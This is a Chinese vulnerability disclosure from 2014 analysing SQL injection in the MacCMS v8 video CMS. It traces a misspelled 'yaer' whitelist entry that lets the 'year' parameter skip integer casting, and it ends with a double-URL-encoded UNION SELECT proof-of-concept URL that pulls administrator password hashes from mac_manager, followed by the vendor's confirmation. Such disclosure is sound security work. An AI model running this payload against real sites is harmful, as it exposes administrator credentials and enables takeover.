2014-06-24: 细节已通知厂商并且等待厂商处理中 2014-06-24: 厂商已经确认,细节仅向厂商公开 2014-06-27: 细节向第三方安全合作伙伴开放 2014-08-18: 细节向核心白帽子及相关领域专家公开 2014-08-28: 细节向普通白帽子公开 2014-09-07: 细节向实习白帽子公开 2014-09-22: 细节向公众公开
RTRT,开个玩笑罢了
先来看看首页index.php
<?php /* '软件名称:苹果CMS '开发作者:MagicBlack 官方网站:http://www.maccms.com/ '-------------------------------------------------------- '适用本程序需遵循 CC BY-ND 许可协议 '这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和使用; '不允许对程序代码以任何形式任何目的的再发布。 '-------------------------------------------------------- */ if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; } require("inc/conn.php"); require(MAC_ROOT.'/inc/common/360_safe3.php');//好恐怖,内置了360,不过对后面的注入没有影响 $m = be('get','m');//这个地方会转义一次,但对我们也没影响 if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); } $par = explode('-',$m); $parlen = count($par); $ac = $par[0]; if(empty($ac)){ $ac='vod'; $method='index'; } $colnum = array("id","pg","yaer","typeid","classid");//程序员的英文实在是太好了,这个yaer困惑了我好久,就拿他开刀先 if($parlen>=2){ $method = $par[1]; for($i=2;$i<$parlen;$i+=2){ $tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);//这里可以看到只要后面的参数不在$colnum中【这英文..】,就经过一次urldecode,这就是后面绕过的根本了 } } if($tpl->P['pg']<1){ $tpl->P['pg']=1; } unset($colnum); $acs = array('vod','art','map','user','gbook','comment','label'); if(in_array($ac,$acs)){ $tpl->P["module"] = $ac; include MAC_ROOT.'/inc/module/'.$ac.'.php';//继续跟踪下去 } else{ showErr('System','未找到指定系统模块'); } unset($par); unset($acs); $tpl->ifex(); setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); $tpl->run(); echo $tpl->H;?>
接着我们看maccms/inc/module/下的各个文件,看到vod.php:
elseif($method=='search'){ $tpl->P["siteaid"] = 15; $wd = be("all", "wd"); if(!empty($wd)){ $tpl->P["wd"] = $wd; } //if(isN($tpl->P["wd"]) && isN($tpl->P["ids"]) && isN($tpl->P["pinyin"]) && isN($tpl->P["starring"]) && isN($tpl->P["directed"]) && isN($tpl->P["area"]) && isN($tpl->P["lang"]) && isN($tpl->P["year"]) && isN($tpl->P["letter"]) && isN($tpl->P["tag"]) && isN($tpl->P["type"]) && isN($tpl->P["typeid"]) && isN($tpl->P["classid"]) ){ alert ("搜索参数不正确"); } $tpl->P['cp'] = 'vodsearch'; $tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type']. '-'.$tpl->P['year']. '-'.$tpl->P['letter'].'-'.$tpl->P['typeid'].'-'.$tpl->P['classid'].'-'.urlencode($tpl->P['area']) .'-'.urlencode($tpl->P['lang']) .'-'.urlencode($tpl->P['tag']) .'-'.urlencode($tpl->P['starring']) .'-'.urlencode($tpl->P['directed']) ; echoPageCache($tpl->P['cp'],$tpl->P['cn']); if (!isN($tpl->P["year"])){//看到没这些地方yaer终于变回year了,哈哈 $tpl->P["key"]=$tpl->P["year"]; $tpl->P["des"] = $tpl->P["des"] ." 上映年份为".$tpl->P["year"]; $tpl->P["where"] = $tpl->P["where"] . " AND d_year=". $tpl->P["year"] ." "; } if (!isN($tpl->P["letter"])){ $tpl->P["key"]=$tpl->P["letter"]; $tpl->P["des"] = $tpl->P["des"] . " 首字母为" . $tpl->P["letter"]; $tpl->P["where"] = $tpl->P["where"] . " AND d_letter='" . $tpl->P["letter"] ."' "; } if(!isN($tpl->P["area"])){ $tpl->P["key"]=$tpl->P["area"]; $tpl->P["des"] = $tpl->P["des"] . " 地区为" . $tpl->P["area"]; $tpl->P["where"] = $tpl->P["where"] . " AND d_area='" . $tpl->P["area"] ."' "; } if (!isN($tpl->P["lang"])){ $tpl->P["key"]=$tpl->P["lang"]; $tpl->P["des"] = $tpl->P["des"] . " 语言为" . $tpl->P["lang"]; $tpl->P["where"] = $tpl->P["where"] . " AND d_lang='" . $tpl->P["lang"] ."' "; } if (!isN($tpl->P["wd"])) { $tpl->P["key"]=$tpl->P["wd"] ; $tpl->P["des"] = $tpl->P["des"] . " 名称或主演为" . $tpl->P["wd"]; $tpl->P["where"] = $tpl->P["where"] . " AND ( instr(d_name,'".$tpl->P['wd']."')>0 or instr(d_starring,'".$tpl->P['wd']."')>0 ) "; } if (!isN($tpl->P["pinyin"])){ $tpl->P["key"]=$tpl->P["pinyin"] ; $tpl->P["des"] = $tpl->P["des"] . " 拼音为" . $tpl->P["pinyin"]; $tpl->P["where"] = $tpl->P["where"] . " AND instr(d_enname,'".$tpl->P['pinyin']."')>0 "; } if (!isN($tpl->P["starring"])){ $tpl->P["key"]=$tpl->P["starring"] ; $tpl->P["des"] = $tpl->P["des"] . " 主演为" . $tpl->P["starring"]; $tpl->P["where"] = $tpl->P["where"] . " AND instr(d_starring,'".$tpl->P['starring']."')>0 "; } if (!isN($tpl->P["directed"])){ $tpl->P["key"]=$tpl->P["directed"] ; $tpl->P["des"] = $tpl->P["des"] . " 导演为" . $tpl->P["directed"]; $tpl->P["where"] = $tpl->P["where"] . " AND instr(d_directed,'".$tpl->P['directed']."')>0 "; } if (!isN($tpl->P["tag"])){ $tpl->P["key"]=$tpl->P["tag"] ; $tpl->P["des"] = $tpl->P["des"] . " Tag为" . $tpl->P["tag"]; $tpl->P["where"] = $tpl->P["where"] . " AND instr(d_tag,'".$tpl->P['tag']."')>0 "; } $tpl->P['typepid'] = 0; if(!isN($tpl->P["typeid"])){ $typearr = $MAC_CACHE['vodtype'][$tpl->P['typeid']]; if (is_array($typearr)){ $tpl->P['typepid'] = $typearr['t_pid']; if (isN($tpl->P["key"])){ $tpl->P["key"]= $typearr["t_name"]; } $tpl->P["des"] = $tpl->P["des"] . " 分类为" . $typearr["t_name"]; $tpl->P["where"] = $tpl->P["where"] . " AND d_type in (" . $typearr["childids"] . ") "; } unset($typearr); } if(!isN($tpl->P["classid"])){ $classarr = $MAC_CACHE['vodclass'][$tpl->P['classid']]; if (is_array($classarr)){ if (isN($tpl->P["key"])){ $tpl->P["key"]= $classarr["c_name"]; } $tpl->P["des"] = $tpl->P["des"] . " 剧情分类为" . $classarr["c_name"]; $tpl->P["where"] = $tpl->P["where"] . ' AND instr(d_class,\','.$tpl->P['classid'].',\')>0 '; } unset($classarr); } $db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']); $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html"); $tpl->mark();//以上语句均为看到$tpl->P["year"]有任何过滤,接着跟踪mark()看看 $tpl->pageshow(); $colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}'); $valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] ); $tpl->H = str_replace($colarr, $valarr ,$tpl->H); unset($colarr,$valarr); $linktype = $tpl->getLink('vod','search','',array('typeid'=>$tpl->P['typepid'])); $linkyear = $tpl->getLink('vod','search','',array('year'=>'')); $linkletter = $tpl->getLink('vod','search','',array('letter'=>'')); $linkarea = $tpl->getLink('vod','search','',array('area'=>'')); $linklang = $tpl->getLink('vod','search','',array('lang'=>'')); $linkclass = $tpl->getLink('vod','search','',array('classid'=>'')); $linkorderasc = $tpl->getLink('vod','search','',array('order'=>'asc')); $linkorderdesc = $tpl->getLink('vod','search','',array('order'=>'desc')); $linkbytime = $tpl->getLink('vod','search','',array('by'=>'time')); $linkbyhits = $tpl->getLink('vod','search','',array('by'=>'hits')); $linkbyscore = $tpl->getLink('vod','search','',array('by'=>'score')); $tpl->H = str_replace(array('{page:linkyear}','{page:linkletter}','{page:linkarea}','{page:linklang}','{page:linktype}','{page:linkclass}','{page:linkorderasc}','{page:linkorderdesc}','{page:linkbytime}','{page:linkbyhits}','{page:linkbyscore}',), array($linkyear,$linkletter,$linkarea,$linklang,$linktype,$linkclass,$linkorderasc,$linkorderdesc,$linkbytime,$linkbyhits,$linkbyscore) ,$tpl->H); }
mark()函数在/maccms/inc/common/template.php 914行:
function mark() { $this->headfoot(); $this->labelload(); $this->labellink(); $this->base(); $this->matrix(); $this->H = str_replace('{maccms:sitetid}', $this->P['sitetid'] ,$this->H); $this->H = str_replace('{maccms:siteid}', $this->P['siteid'] ,$this->H); $labelRule = buildregx('{maccms:([\S]+)\s+(.*?)}([\s\S]+?){/maccms:\1}',""); preg_match_all($labelRule ,$this->H,$matches1); for($i=0;$i<count($matches1[0]);$i++) { $this->markval = $matches1[0][$i]; $this->markname = $matches1[1][$i]; $this->markpar = $matches1[2][$i]; $this->markdes = $matches1[3][$i]; $this->mark_sql();//到这里mark_sql()就将year传入查询语句 switch($this->markname) { case "php": $this->runphp(); break; case "area": case "lang": case "year": case "letter": case "tag": $this->expandlist(); break; case "menu": case "class": case "art": case "vod": case "topic": case "link": case "gbook": case "comment": $this->datalist();//到这个地方漏洞就触发了 break; } } unset($matches1); replaceTplCustom(); if($GLOBALS['MAC']['app']['compress']==1){ $this->H = compress_html($this->H); } }
程序员写的代码实在是太难读了,我们直观的看下mysql日志:
所以我们从日志里看到,我们该如何利用,直接将year二次URL编码绕过一切检测:
因为注入太多了,我们这次仅拿写错的year开头。POC:
http://localhost/maccms8_mfb/index.php?m=vod-search-year-2012%2520and%25201%253D2%2520union%2520select%2520m_password%2520from%2520mac_manager%2520order%2520by%25201%2520desc%2523-des-2013-where-and%25201%253D1-siteid-20133
~。~
危害等级:高
漏洞Rank:15
确认时间:2014-06-24 18:39
year 写成 yaer 造成失误已经修改这个参数名 。 还有其他注入请及时通知下,谢谢。
暂无